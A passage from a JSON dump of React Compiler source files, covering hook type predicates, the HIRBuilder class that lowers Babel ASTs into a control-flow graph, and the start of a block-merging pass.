id.type.kind === 'Object' && id.type.shapeId === 'BuiltInProps';\n}\n\nexport function isRefValueType(id: Identifier): boolean {\n  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInRefValue';\n}\n\nexport function isUseRefType(id: Identifier): boolean {\n  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInUseRefId';\n}\n\nexport function isUseStateType(id: Identifier): boolean {\n  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInUseState';\n}\n\nexport function isJsxType(type: Type): boolean {\n  return type.kind === 'Object' && type.shapeId === 'BuiltInJsx';\n}\n\nexport function isRefOrRefValue(id: Identifier): boolean {\n  return isUseRefType(id) || isRefValueType(id);\n}\n\n/*\n * Returns true if the type is a Ref or a custom user type that acts like a ref when it\n * shouldn't. For now the only other case of this is Reanimated's shared values.\n */\nexport function isRefOrRefLikeMutableType(type: Type): boolean {\n  return (\n    type.kind === 'Object' &&\n    (type.shapeId === 'BuiltInUseRefId' ||\n      type.shapeId == 'ReanimatedSharedValueId')\n  );\n}\n\nexport function isSetStateType(id: Identifier): boolean {\n  return id.type.kind === 'Function' && id.type.shapeId === 'BuiltInSetState';\n}\n\nexport function isUseActionStateType(id: Identifier): boolean {\n  return (\n    id.type.kind === 'Object' && id.type.shapeId === 'BuiltInUseActionState'\n  );\n}\n\nexport function isStartTransitionType(id: Identifier): boolean {\n  return (\n    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInStartTransition'\n  );\n}\n\nexport function isUseOptimisticType(id: Identifier): boolean {\n  return (\n    id.type.kind === 'Object' && id.type.shapeId === 'BuiltInUseOptimistic'\n  );\n}\n\nexport function isSetOptimisticType(id: Identifier): boolean {\n  return (\n    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInSetOptimistic'\n  );\n}\n\nexport function isSetActionStateType(id: Identifier): boolean {\n  return (\n    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInSetActionState'\n  );\n}\n\nexport function isUseReducerType(id: Identifier): boolean {\n  return id.type.kind === 'Function' && id.type.shapeId === 'BuiltInUseReducer';\n}\n\nexport function isDispatcherType(id: Identifier): boolean {\n  return id.type.kind === 'Function' && id.type.shapeId === 'BuiltInDispatch';\n}\n\nexport function isEffectEventFunctionType(id: Identifier): boolean {\n  return (\n    id.type.kind === 'Function' &&\n    id.type.shapeId === 'BuiltInEffectEventFunction'\n  );\n}\n\nexport function isStableType(id: Identifier): boolean {\n  return (\n    isSetStateType(id) ||\n    isSetActionStateType(id) ||\n    isDispatcherType(id) ||\n    isUseRefType(id) ||\n    isStartTransitionType(id) ||\n    isSetOptimisticType(id)\n  );\n}\n\nexport function isStableTypeContainer(id: Identifier): boolean {\n  const type_ = id.type;\n  if (type_.kind !== 'Object') {\n    return false;\n  }\n  return (\n    isUseStateType(id) || // setState\n    isUseActionStateType(id) || // setActionState\n    isUseReducerType(id) || // dispatcher\n    isUseOptimisticType(id) || // setOptimistic\n    type_.shapeId === 'BuiltInUseTransition' // startTransition\n  );\n}\n\nexport function evaluatesToStableTypeOrContainer(\n  env: Environment,\n  {value}: Instruction,\n): boolean {\n  if (value.kind === 'CallExpression' || value.kind === 'MethodCall') {\n    const callee =\n      value.kind === 'CallExpression' ? value.callee : value.property;\n\n    const calleeHookKind = getHookKind(env, callee.identifier);\n    switch (calleeHookKind) {\n      case 'useState':\n      case 'useReducer':\n      case 'useActionState':\n      case 'useRef':\n      case 'useTransition':\n      case 'useOptimistic':\n        return true;\n    }\n  }\n  return false;\n}\n\nexport function isUseEffectHookType(id: Identifier): boolean {\n  return (\n    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInUseEffectHook'\n  );\n}\nexport function isUseLayoutEffectHookType(id: Identifier): boolean {\n  return (\n    id.type.kind === 'Function' &&\n    id.type.shapeId === 'BuiltInUseLayoutEffectHook'\n  );\n}\nexport function isUseInsertionEffectHookType(id: Identifier): boolean {\n  return (\n    id.type.kind === 'Function' &&\n    id.type.shapeId === 'BuiltInUseInsertionEffectHook'\n  );\n}\nexport function isUseEffectEventType(id: Identifier): boolean {\n  return (\n    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInUseEffectEvent'\n  );\n}\n\nexport function isUseContextHookType(id: Identifier): boolean {\n  return (\n    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInUseContextHook'\n  );\n}\n\nexport function getHookKind(env: Environment, id: Identifier): HookKind | null {\n  return getHookKindForType(env, id.type);\n}\n\nexport function isUseOperator(id: Identifier): boolean {\n  return (\n    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInUseOperator'\n  );\n}\n\nexport function getHookKindForType(\n  env: Environment,\n  type: Type,\n): HookKind | null {\n  if (type.kind === 'Function') {\n    const signature = env.getFunctionSignature(type);\n    return signature?.hookKind ?? null;\n  }\n  return null;\n}\n\nexport * from './Types';\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/HIRBuilder.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {Binding, NodePath} from '@babel/traverse';\nimport * as t from '@babel/types';\nimport {\n  CompilerError,\n  CompilerDiagnostic,\n  CompilerErrorDetail,\n  ErrorCategory,\n} from '../CompilerError';\nimport {Environment} from './Environment';\nimport {\n  BasicBlock,\n  BlockId,\n  BlockKind,\n  Effect,\n  GeneratedSource,\n  GotoVariant,\n  HIR,\n  Identifier,\n  IdentifierId,\n  Instruction,\n  Place,\n  SourceLocation,\n  Terminal,\n  VariableBinding,\n  makeBlockId,\n  makeDeclarationId,\n  makeIdentifierName,\n  makeInstructionId,\n  makeTemporaryIdentifier,\n  makeType,\n} from './HIR';\nimport {printInstruction} from './PrintHIR';\nimport {\n  eachTerminalSuccessor,\n  mapTerminalSuccessors,\n  terminalFallthrough,\n} from './visitors';\n\n/*\n * *******************************************************************************************\n * *******************************************************************************************\n * ************************************* Lowering to HIR *************************************\n * *******************************************************************************************\n * *******************************************************************************************\n */\n\n// A work-in-progress block that does not yet have a terminator\nexport type WipBlock = {\n  id: BlockId;\n  instructions: Array<Instruction>;\n  kind: BlockKind;\n};\n\ntype Scope = LoopScope | LabelScope | SwitchScope;\n\ntype LoopScope = {\n  kind: 'loop';\n  label: string | null;\n  continueBlock: BlockId;\n  breakBlock: BlockId;\n};\n\ntype SwitchScope = {\n  kind: 'switch';\n  breakBlock: BlockId;\n  label: string | null;\n};\n\ntype LabelScope = {\n  kind: 'label';\n  label: string;\n  breakBlock: BlockId;\n};\n\nfunction newBlock(id: BlockId, kind: BlockKind): WipBlock {\n  return {id, kind, instructions: []};\n}\n\nexport type Bindings = Map<\n  string,\n  {node: t.Identifier; identifier: Identifier}\n>;\n\n/*\n * Determines how instructions should be constructed in order to preserve\n * exception semantics\n */\nexport type ExceptionsMode =\n  /*\n   * Mode used for code not covered by explicit exception handling, any\n   * errors are assumed to be thrown out of the function\n   */\n  | {kind: 'ThrowExceptions'}\n  /*\n   * Mode used for code that *is* covered by explicit exception handling\n   * (ie try/catch), which requires modeling the possibility of control\n   * flow to the exception handler.\n   */\n  | {kind: 'CatchExceptions'; handler: BlockId};\n\n// Helper class for constructing a CFG\nexport default class HIRBuilder {\n  #completed: Map<BlockId, BasicBlock> = new Map();\n  #current: WipBlock;\n  #entry: BlockId;\n  #scopes: Array<Scope> = [];\n  #context: Map<t.Identifier, SourceLocation>;\n  #bindings: Bindings;\n  #env: Environment;\n  #exceptionHandlerStack: Array<BlockId> = [];\n  /**\n   * Traversal context: counts the number of `fbt` tag parents\n   * of the current babel node.\n   */\n  fbtDepth: number = 0;\n\n  get nextIdentifierId(): IdentifierId {\n    return this.#env.nextIdentifierId;\n  }\n\n  get context(): Map<t.Identifier, SourceLocation> {\n    return this.#context;\n  }\n\n  get bindings(): Bindings {\n    return this.#bindings;\n  }\n\n  get environment(): Environment {\n    return this.#env;\n  }\n\n  constructor(\n    env: Environment,\n    options?: {\n      bindings?: Bindings | null;\n      context?: Map<t.Identifier, SourceLocation>;\n      entryBlockKind?: BlockKind;\n    },\n  ) {\n    this.#env = env;\n    this.#bindings = options?.bindings ?? new Map();\n    this.#context = options?.context ?? new Map();\n    this.#entry = makeBlockId(env.nextBlockId);\n    this.#current = newBlock(this.#entry, options?.entryBlockKind ?? 'block');\n  }\n\n  recordError(error: CompilerDiagnostic | CompilerErrorDetail): void {\n    this.#env.recordError(error);\n  }\n\n  currentBlockKind(): BlockKind {\n    return this.#current.kind;\n  }\n\n  // Push a statement or expression onto the current block\n  push(instruction: Instruction): void {\n    this.#current.instructions.push(instruction);\n    const exceptionHandler = this.#exceptionHandlerStack.at(-1);\n    if (exceptionHandler !== undefined) {\n      const continuationBlock = this.reserve(this.currentBlockKind());\n      this.terminateWithContinuation(\n        {\n          kind: 'maybe-throw',\n          continuation: continuationBlock.id,\n          handler: exceptionHandler,\n          id: makeInstructionId(0),\n          loc: instruction.loc,\n          effects: null,\n        },\n        continuationBlock,\n      );\n    }\n  }\n\n  enterTryCatch(handler: BlockId, fn: () => void): void {\n    this.#exceptionHandlerStack.push(handler);\n    fn();\n    this.#exceptionHandlerStack.pop();\n  }\n\n  resolveThrowHandler(): BlockId | null {\n    const handler = this.#exceptionHandlerStack.at(-1);\n    return handler ?? null;\n  }\n\n  makeTemporary(loc: SourceLocation): Identifier {\n    const id = this.nextIdentifierId;\n    return makeTemporaryIdentifier(id, loc);\n  }\n\n  #resolveBabelBinding(\n    path: NodePath<t.Identifier | t.JSXIdentifier>,\n  ): Binding | null {\n    const originalName = path.node.name;\n    const binding = path.scope.getBinding(originalName);\n    if (binding == null) {\n      return null;\n    }\n    return binding;\n  }\n\n  /*\n   * Maps an Identifier (or JSX identifier) Babel node to an internal `Identifier`\n   * which represents the variable being referenced, according to the JS scoping rules.\n   *\n   * Because Forget does not preserve _all_ block scopes in the input (only those that\n   * happen to occur from control flow), this resolution ensures that different variables\n   * with the same name are mapped to a unique name. Concretely, this function maintains\n   * the invariant that all references to a given variable will return an `Identifier`\n   * with the same (unique for the function) `name` and `id`.\n   *\n   * Example:\n   *\n   * ```javascript\n   * function foo() {\n   *    const x = 0;\n   *    {\n   *      const x = 1;\n   *    }\n   *    return x;\n   * }\n   * ```\n   *\n   * The above converts as follows:\n   *\n   * ```\n   * Const Identifier { name: 'x', id: 0 } = Primitive { value: 0 };\n   * Const Identifier { name: 'x_0', id: 1 } = Primitive { value: 1 };\n   * Return Identifier { name: 'x', id: 0};\n   * ```\n   */\n  resolveIdentifier(\n    path: NodePath<t.Identifier | t.JSXIdentifier>,\n  ): VariableBinding {\n    const originalName = path.node.name;\n    const babelBinding = this.#resolveBabelBinding(path);\n    if (babelBinding == null) {\n      return {kind: 'Global', name: originalName};\n    }\n\n    // Check if the binding is from module scope\n    const outerBinding =\n      this.#env.parentFunction.scope.parent.getBinding(originalName);\n    if (babelBinding === outerBinding) {\n      const path = babelBinding.path;\n      if (path.isImportDefaultSpecifier()) {\n        const importDeclaration =\n          path.parentPath as NodePath<t.ImportDeclaration>;\n        return {\n          kind: 'ImportDefault',\n          name: originalName,\n          module: importDeclaration.node.source.value,\n        };\n      } else if (path.isImportSpecifier()) {\n        const importDeclaration =\n          path.parentPath as NodePath<t.ImportDeclaration>;\n        return {\n          kind: 'ImportSpecifier',\n          name: originalName,\n          module: importDeclaration.node.source.value,\n          imported:\n            path.node.imported.type === 'Identifier'\n              ? path.node.imported.name\n              : path.node.imported.value,\n        };\n      } else if (path.isImportNamespaceSpecifier()) {\n        const importDeclaration =\n          path.parentPath as NodePath<t.ImportDeclaration>;\n        return {\n          kind: 'ImportNamespace',\n          name: originalName,\n          module: importDeclaration.node.source.value,\n        };\n      } else {\n        return {\n          kind: 'ModuleLocal',\n          name: originalName,\n        };\n      }\n    }\n\n    const resolvedBinding = this.resolveBinding(babelBinding.identifier);\n    if (resolvedBinding.name && resolvedBinding.name.value !== originalName) {\n      babelBinding.scope.rename(originalName, resolvedBinding.name.value);\n    }\n    return {\n      kind: 'Identifier',\n      identifier: resolvedBinding,\n      bindingKind: babelBinding.kind,\n    };\n  }\n\n  isContextIdentifier(path: NodePath<t.Identifier | t.JSXIdentifier>): boolean {\n    const binding = this.#resolveBabelBinding(path);\n    if (binding) {\n      // Check if the binding is from module scope, if so return null\n      const outerBinding = this.#env.parentFunction.scope.parent.getBinding(\n        path.node.name,\n      );\n      if (binding === outerBinding) {\n        return false;\n      }\n      return this.#env.isContextIdentifier(binding.identifier);\n    } else {\n      return false;\n    }\n  }\n\n  resolveBinding(node: t.Identifier): Identifier {\n    if (node.name === 'fbt') {\n      this.recordError(\n        new CompilerErrorDetail({\n          category: ErrorCategory.Todo,\n          reason: 'Support local variables named `fbt`',\n          description:\n            'Local variables named `fbt` may conflict with the fbt plugin and are not yet supported',\n          loc: node.loc ?? GeneratedSource,\n          suggestions: null,\n        }),\n      );\n    }\n    if (node.name === 'this') {\n      this.recordError(\n        new CompilerErrorDetail({\n          category: ErrorCategory.UnsupportedSyntax,\n          reason: '`this` is not supported syntax',\n          description:\n            'React Compiler does not support compiling functions that use `this`',\n          loc: node.loc ?? GeneratedSource,\n          suggestions: null,\n        }),\n      );\n    }\n    const originalName = node.name;\n    let name = originalName;\n    let index = 0;\n    while (true) {\n      const mapping = this.#bindings.get(name);\n      if (mapping === undefined) {\n        const id = this.nextIdentifierId;\n        const identifier: Identifier = {\n          id,\n          declarationId: makeDeclarationId(id),\n          name: makeIdentifierName(name),\n          mutableRange: {\n            start: makeInstructionId(0),\n            end: makeInstructionId(0),\n          },\n          scope: null,\n          type: makeType(),\n          loc: node.loc ?? GeneratedSource,\n        };\n        this.#env.programContext.addNewReference(name);\n        this.#bindings.set(name, {node, identifier});\n        return identifier;\n      } else if (mapping.node === node) {\n        return mapping.identifier;\n      } else {\n        name = `${originalName}_${index++}`;\n      }\n    }\n  }\n\n  // Construct a final CFG from this context\n  build(): HIR {\n    let ir: HIR = {\n      blocks: this.#completed,\n      entry: this.#entry,\n    };\n    const rpoBlocks = getReversePostorderedBlocks(ir);\n    for (const [id, block] of ir.blocks) {\n      if (\n        !rpoBlocks.has(id) &&\n        block.instructions.some(\n          instr => instr.value.kind === 'FunctionExpression',\n        )\n      ) {\n        this.recordError(\n          new CompilerErrorDetail({\n            reason: `Support functions with unreachable code that may contain hoisted declarations`,\n            loc: block.instructions[0]?.loc ?? block.terminal.loc,\n            description: null,\n            suggestions: null,\n            category: ErrorCategory.Todo,\n          }),\n        );\n      }\n    }\n    ir.blocks = rpoBlocks;\n\n    removeUnreachableForUpdates(ir);\n    removeDeadDoWhileStatements(ir);\n    removeUnnecessaryTryCatch(ir);\n    markInstructionIds(ir);\n    markPredecessors(ir);\n\n    return ir;\n  }\n\n  // Terminate the current block w the given terminal, and start a new block\n  terminate(terminal: Terminal, nextBlockKind: BlockKind | null): BlockId {\n    const {id: blockId, kind, instructions} = this.#current;\n    this.#completed.set(blockId, {\n      kind,\n      id: blockId,\n      instructions,\n      terminal,\n      preds: new Set(),\n      phis: new Set(),\n    });\n    if (nextBlockKind) {\n      const nextId = this.#env.nextBlockId;\n      this.#current = newBlock(nextId, nextBlockKind);\n    }\n    return blockId;\n  }\n\n  /*\n   * Terminate the current block w the given terminal, and set the previously\n   * reserved block as the new current block\n   */\n  terminateWithContinuation(terminal: Terminal, continuation: WipBlock): void {\n    const {id: blockId, kind, instructions} = this.#current;\n    this.#completed.set(blockId, {\n      kind: kind,\n      id: blockId,\n      instructions,\n      terminal: terminal,\n      preds: new Set(),\n      phis: new Set(),\n    });\n    this.#current = continuation;\n  }\n\n  /*\n   * Reserve a block so that it can be referenced prior to construction.\n   * Make this the current block with `terminateWithContinuation()` or\n   * call `complete()` to save it without setting it as the current block.\n   */\n  reserve(kind: BlockKind): WipBlock {\n    return newBlock(makeBlockId(this.#env.nextBlockId), kind);\n  }\n\n  // Save a previously reserved block as completed\n  complete(block: WipBlock, terminal: Terminal): void {\n    const {id: blockId, kind, instructions} = block;\n    this.#completed.set(blockId, {\n      kind,\n      id: blockId,\n      instructions,\n      terminal,\n      preds: new Set(),\n      phis: new Set(),\n    });\n  }\n\n  /*\n   * Sets the given wip block as the current block, executes the provided callback to populate the block\n   * up to its terminal, and then resets the previous actively block.\n   */\n  enterReserved(wip: WipBlock, fn: () => Terminal): void {\n    const current = this.#current;\n    this.#current = wip;\n    const terminal = fn();\n    const {id: blockId, kind, instructions} = this.#current;\n    this.#completed.set(blockId, {\n      kind,\n      id: blockId,\n      instructions,\n      terminal,\n      preds: new Set(),\n      phis: new Set(),\n    });\n    this.#current = current;\n  }\n\n  /*\n   * Create a new block and execute the provided callback with the new block\n   * set as the current, resetting to the previously active block upon exit.\n   * The lambda must return a terminal node, which is used to terminate the\n   * newly constructed block.\n   */\n  enter(nextBlockKind: BlockKind, fn: (blockId: BlockId) => Terminal): BlockId {\n    const wip = this.reserve(nextBlockKind);\n    this.enterReserved(wip, () => {\n      return fn(wip.id);\n    });\n    return wip.id;\n  }\n\n  label<T>(label: string, breakBlock: BlockId, fn: () => T): T {\n    this.#scopes.push({\n      kind: 'label',\n      breakBlock,\n      label,\n    });\n    const value = fn();\n    const last = this.#scopes.pop();\n    CompilerError.invariant(\n      last != null &&\n        last.kind === 'label' &&\n        last.label === label &&\n        last.breakBlock === breakBlock,\n      {\n        reason: 'Mismatched label',\n        loc: GeneratedSource,\n      },\n    );\n    return value;\n  }\n\n  switch<T>(label: string | null, breakBlock: BlockId, fn: () => T): T {\n    this.#scopes.push({\n      kind: 'switch',\n      breakBlock,\n      label,\n    });\n    const value = fn();\n    const last = this.#scopes.pop();\n    CompilerError.invariant(\n      last != null &&\n        last.kind === 'switch' &&\n        last.label === label &&\n        last.breakBlock === breakBlock,\n      {\n        reason: 'Mismatched label',\n        loc: GeneratedSource,\n      },\n    );\n    return value;\n  }\n\n  /*\n   * Executes the provided lambda inside a scope in which the provided loop\n   * information is cached for lookup with `lookupBreak()` and `lookupContinue()`\n   */\n  loop<T>(\n    label: string | null,\n    // block of the loop body. \"continue\" jumps here.\n    continueBlock: BlockId,\n    // block following the loop. \"break\" jumps here.\n    breakBlock: BlockId,\n    fn: () => T,\n  ): T {\n    this.#scopes.push({\n      kind: 'loop',\n      label,\n      continueBlock,\n      breakBlock,\n    });\n    const value = fn();\n    const last = this.#scopes.pop();\n    CompilerError.invariant(\n      last != null &&\n        last.kind === 'loop' &&\n        last.label === label &&\n        last.continueBlock === continueBlock &&\n        last.breakBlock === breakBlock,\n      {\n        reason: 'Mismatched loops',\n        loc: GeneratedSource,\n      },\n    );\n    return value;\n  }\n\n  /*\n   * Lookup the block target for a break statement, based on loops and switch statements\n   * in scope. Throws if there is no available location to break.\n   */\n  lookupBreak(label: string | null): BlockId {\n    for (let ii = this.#scopes.length - 1; ii >= 0; ii--) {\n      const scope = this.#scopes[ii];\n      if (\n        (label === null &&\n          (scope.kind === 'loop' || scope.kind === 'switch')) ||\n        label === scope.label\n      ) {\n        return scope.breakBlock;\n      }\n    }\n    CompilerError.invariant(false, {\n      reason: 'Expected a loop or switch to be in scope',\n      loc: GeneratedSource,\n    });\n  }\n\n  /*\n   * Lookup the block target for a continue statement, based on loops\n   * in scope. Throws if there is no available location to continue, or if the given\n   * label does not correspond to a loop (this should also be validated at parse time).\n   */\n  lookupContinue(label: string | null): BlockId {\n    for (let ii = this.#scopes.length - 1; ii >= 0; ii--) {\n      const scope = this.#scopes[ii];\n      if (scope.kind === 'loop') {\n        if (label === null || label === scope.label) {\n          return scope.continueBlock;\n        }\n      } else if (label !== null && scope.label === label) {\n        CompilerError.invariant(false, {\n          reason: 'Continue may only refer to a labeled loop',\n          loc: GeneratedSource,\n        });\n      }\n    }\n    CompilerError.invariant(false, {\n      reason: 'Expected a loop to be in scope',\n      loc: GeneratedSource,\n    });\n  }\n}\n\n// Helper to shrink a CFG eliminate jump-only blocks.\nfunction _shrink(func: HIR): void {\n  const gotos = new Map();\n  /*\n   * Given a target block for some terminator, resolves the ideal block that should be\n   * targeted instead. This transitively resolves any blocks that are simple indirections\n   * (empty blocks that terminate in a goto).\n   */\n  function resolveBlockTarget(blockId: BlockId): BlockId {\n    let target = gotos.get(blockId) ?? null;\n    if (target !== null) {\n      return target;\n    }\n    const block = func.blocks.get(blockId);\n    CompilerError.invariant(block != null, {\n      reason: `expected block ${blockId} to exist`,\n      loc: GeneratedSource,\n    });\n    target = getTargetIfIndirection(block);\n    if (target !== null) {\n      //  the target might also be a simple goto, recurse\n      target = resolveBlockTarget(target) ?? target;\n      gotos.set(blockId, target);\n      return target;\n    } else {\n      //  If the block wasn't an indirection, return the original input.\n      return blockId;\n    }\n  }\n\n  const queue = [func.entry];\n  const reachable = new Set<BlockId>();\n  while (queue.length !== 0) {\n    const blockId = queue.shift()!;\n    if (reachable.has(blockId)) {\n      continue;\n    }\n    reachable.add(blockId);\n    const block = func.blocks.get(blockId)!;\n    block.terminal = mapTerminalSuccessors(block.terminal, prevTarget => {\n      const target = resolveBlockTarget(prevTarget);\n      queue.push(target);\n      return target;\n    });\n  }\n  for (const [blockId] of func.blocks) {\n    if (!reachable.has(blockId)) {\n      func.blocks.delete(blockId);\n    }\n  }\n}\n\nexport function removeUnreachableForUpdates(fn: HIR): void {\n  for (const [, block] of fn.blocks) {\n    if (\n      block.terminal.kind === 'for' &&\n      block.terminal.update !== null &&\n      !fn.blocks.has(block.terminal.update)\n    ) {\n      block.terminal.update = null;\n    }\n  }\n}\n\nexport function removeDeadDoWhileStatements(func: HIR): void {\n  const visited: Set<BlockId> = new Set();\n  for (const [_, block] of func.blocks) {\n    visited.add(block.id);\n  }\n\n  /*\n   * If the test condition of a DoWhile is unreachable, the terminal is effectively deadcode and we\n   * can just inline the loop body. We replace the terminal with a goto to the loop block and\n   * MergeConsecutiveBlocks figures out how to merge as appropriate.\n   */\n  for (const [_, block] of func.blocks) {\n    if (block.terminal.kind === 'do-while') {\n      if (!visited.has(block.terminal.test)) {\n        block.terminal = {\n          kind: 'goto',\n          block: block.terminal.loop,\n          variant: GotoVariant.Break,\n          id: block.terminal.id,\n          loc: block.terminal.loc,\n        };\n      }\n    }\n  }\n}\n\n/*\n * Converts the graph to reverse-postorder, with predecessor blocks appearing\n * before successors except in the case of back edges (ie loops).\n */\nexport function reversePostorderBlocks(func: HIR): void {\n  const rpoBlocks = getReversePostorderedBlocks(func);\n  func.blocks = rpoBlocks;\n}\n\n/**\n * Returns a mapping of BlockId => BasicBlock where the insertion order of the map\n * has blocks in reverse-postorder, with predecessor blocks appearing before successors\n * except in the case of back edges (ie loops). Note that not all blocks in the input\n * may be in the output: blocks will be removed in the case of unreachable code in\n * the input.\n */\nfunction getReversePostorderedBlocks(func: HIR): HIR['blocks'] {\n  const visited: Set<BlockId> = new Set();\n  const used: Set<BlockId> = new Set();\n  const usedFallthroughs: Set<BlockId> = new Set();\n  const postorder: Array<BlockId> = [];\n  function visit(blockId: BlockId, isUsed: boolean): void {\n    const wasUsed = used.has(blockId);\n    const wasVisited = visited.has(blockId);\n    visited.add(blockId);\n    if (isUsed) {\n      used.add(blockId);\n    }\n    if (wasVisited && (wasUsed || !isUsed)) {\n      return;\n    }\n\n    /*\n     * Note that we visit successors in reverse order. This ensures that when we\n     * reverse the list at the end, that \"sibling\" edges appear in-order. For example,\n     * ```\n     * // bb0\n     * let x;\n     * if (c) {\n     *    // bb1\n     *    x = 1;\n     * } else {\n     *    // bb2\n     *    x = 2;\n     * }\n     * // bb3\n     * x;\n     * ```\n     *\n     * We want the output to be bb0, bb1, bb2, bb3 just to line up with the original\n     * program order for visual debugging. By visiting the successors in reverse order\n     * (eg bb2 then bb1), we ensure that they get reversed back to the correct order.\n     */\n    const block = func.blocks.get(blockId)!;\n    CompilerError.invariant(block != null, {\n      reason: '[HIRBuilder] Unexpected null block',\n      description: `expected block ${blockId} to exist`,\n      loc: GeneratedSource,\n    });\n    const successors = [...eachTerminalSuccessor(block.terminal)].reverse();\n    const fallthrough = terminalFallthrough(block.terminal);\n\n    /**\n     * Fallthrough blocks are only used to record original program block structure. If the\n     * fallthrough is actually reachable, it will be reached through terminal successors.\n     * To retain program structure, we visit fallthrough blocks first (marking them as not\n     * actually used yet) to ensure their block IDs emitted in the correct order.\n     */\n    if (fallthrough != null) {\n      if (isUsed) {\n        usedFallthroughs.add(fallthrough);\n      }\n      visit(fallthrough, false);\n    }\n    for (const successor of successors) {\n      visit(successor, isUsed);\n    }\n\n    if (!wasVisited) {\n      postorder.push(blockId);\n    }\n  }\n  visit(func.entry, true);\n  const blocks = new Map<BlockId, BasicBlock>();\n  for (const blockId of postorder.reverse()) {\n    const block = func.blocks.get(blockId)!;\n    if (used.has(blockId)) {\n      blocks.set(blockId, func.blocks.get(blockId)!);\n    } else if (usedFallthroughs.has(blockId)) {\n      blocks.set(blockId, {\n        ...block,\n        instructions: [],\n        terminal: {\n          kind: 'unreachable',\n          id: block.terminal.id,\n          loc: block.terminal.loc,\n        },\n      });\n    }\n    // otherwise this block is unreachable\n  }\n\n  return blocks;\n}\n\nexport function markInstructionIds(func: HIR): void {\n  let id = 0;\n  const visited = new Set<Instruction>();\n  for (const [_, block] of func.blocks) {\n    for (const instr of block.instructions) {\n      CompilerError.invariant(!visited.has(instr), {\n        reason: `${printInstruction(instr)} already visited!`,\n        loc: instr.loc,\n      });\n      visited.add(instr);\n      instr.id = makeInstructionId(++id);\n    }\n    block.terminal.id = makeInstructionId(++id);\n  }\n}\n\nexport function markPredecessors(func: HIR): void {\n  for (const [, block] of func.blocks) {\n    block.preds.clear();\n  }\n  const visited: Set<BlockId> = new Set();\n  function visit(blockId: BlockId, prevBlock: BasicBlock | null): void {\n    const block = func.blocks.get(blockId)!;\n    if (block == null) {\n      return;\n    }\n    CompilerError.invariant(block != null, {\n      reason: 'unexpected missing block',\n      description: `block ${blockId}`,\n      loc: GeneratedSource,\n    });\n    if (prevBlock) {\n      block.preds.add(prevBlock.id);\n    }\n\n    if (visited.has(blockId)) {\n      return;\n    }\n    visited.add(blockId);\n\n    const {terminal} = block;\n\n    for (const successor of eachTerminalSuccessor(terminal)) {\n      visit(successor, block);\n    }\n  }\n  visit(func.entry, null);\n}\n\n/*\n * If the given block is a simple indirection — empty terminated with a goto(break) —\n * returns the block being pointed to. Otherwise returns null.\n */\nfunction getTargetIfIndirection(block: BasicBlock): number | null {\n  return block.instructions.length === 0 &&\n    block.terminal.kind === 'goto' &&\n    block.terminal.variant === GotoVariant.Break\n    ? block.terminal.block\n    : null;\n}\n\n/*\n * Finds try terminals where the handler is unreachable, and converts the try\n * to a goto(terminal.block)\n */\nexport function removeUnnecessaryTryCatch(fn: HIR): void {\n  for (const [, block] of fn.blocks) {\n    if (\n      block.terminal.kind === 'try' &&\n      !fn.blocks.has(block.terminal.handler)\n    ) {\n      const handlerId = block.terminal.handler;\n      const fallthroughId = block.terminal.fallthrough;\n      const fallthrough = fn.blocks.get(fallthroughId);\n      block.terminal = {\n        kind: 'goto',\n        block: block.terminal.block,\n        id: makeInstructionId(0),\n        loc: block.terminal.loc,\n        variant: GotoVariant.Break,\n      };\n\n      if (fallthrough != null) {\n        if (fallthrough.preds.size === 1 && fallthrough.preds.has(handlerId)) {\n          // delete fallthrough\n          fn.blocks.delete(fallthroughId);\n        } else {\n          fallthrough.preds.delete(handlerId);\n        }\n      }\n    }\n  }\n}\n\nexport function createTemporaryPlace(\n  env: Environment,\n  loc: SourceLocation,\n): Place {\n  return {\n    kind: 'Identifier',\n    identifier: makeTemporaryIdentifier(env.nextIdentifierId, loc),\n    reactive: false,\n    effect: Effect.Unknown,\n    loc: GeneratedSource,\n  };\n}\n\n/**\n * Clones an existing Place, returning a new temporary Place that shares the\n * same metadata properties as the original place (effect, reactive flag, type)\n * but has a new, temporary Identifier.\n */\nexport function clonePlaceToTemporary(env: Environment, place: Place): Place {\n  const temp = createTemporaryPlace(env, place.loc);\n  temp.effect = place.effect;\n  temp.identifier.type = place.identifier.type;\n  temp.reactive = place.reactive;\n  return temp;\n}\n\n/**\n * Fix scope and identifier ranges to account for renumbered instructions\n */\nexport function fixScopeAndIdentifierRanges(func: HIR): void {\n  for (const [, block] of func.blocks) {\n    const terminal = block.terminal;\n    if (terminal.kind === 'scope' || terminal.kind === 'pruned-scope') {\n      /*\n       * Scope ranges should always align to start at the 'scope' terminal\n       * and end at the first instruction of the fallthrough block\n       */\n      const fallthroughBlock = func.blocks.get(terminal.fallthrough)!;\n      const firstId =\n        fallthroughBlock.instructions[0]?.id ?? fallthroughBlock.terminal.id;\n      terminal.scope.range.start = terminal.id;\n      terminal.scope.range.end = firstId;\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/MergeConsecutiveBlocks.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {\n  BlockId,\n  Effect,\n  GeneratedSource,\n  HIRFunction,\n  Instruction,\n  Place,\n} from './HIR';\nimport {markPredecessors} from './HIRBuilder';\nimport {terminalFallthrough, terminalHasFallthrough} from './visitors';\n\n/*\n * Merges sequences of blocks that will always execute consecutively —\n * ie where the predecessor always transfers control to the successor\n * (ie ends in a goto) and where the predecessor is the only predecessor\n * for that successor (ie, there is no other way to reach the successor).\n *\n * Note that this pass leaves value/loop blocks alone because they cannot\n * be merged without breaking the structure of the high-level terminals\n * that reference them.\n */\nexport function mergeConsecutiveBlocks(fn: HIRFunction): void {\n  const merged = new MergedBlocks();\n  const fallthroughBlocks = new Set<BlockId>();\n  for (const [, block] of 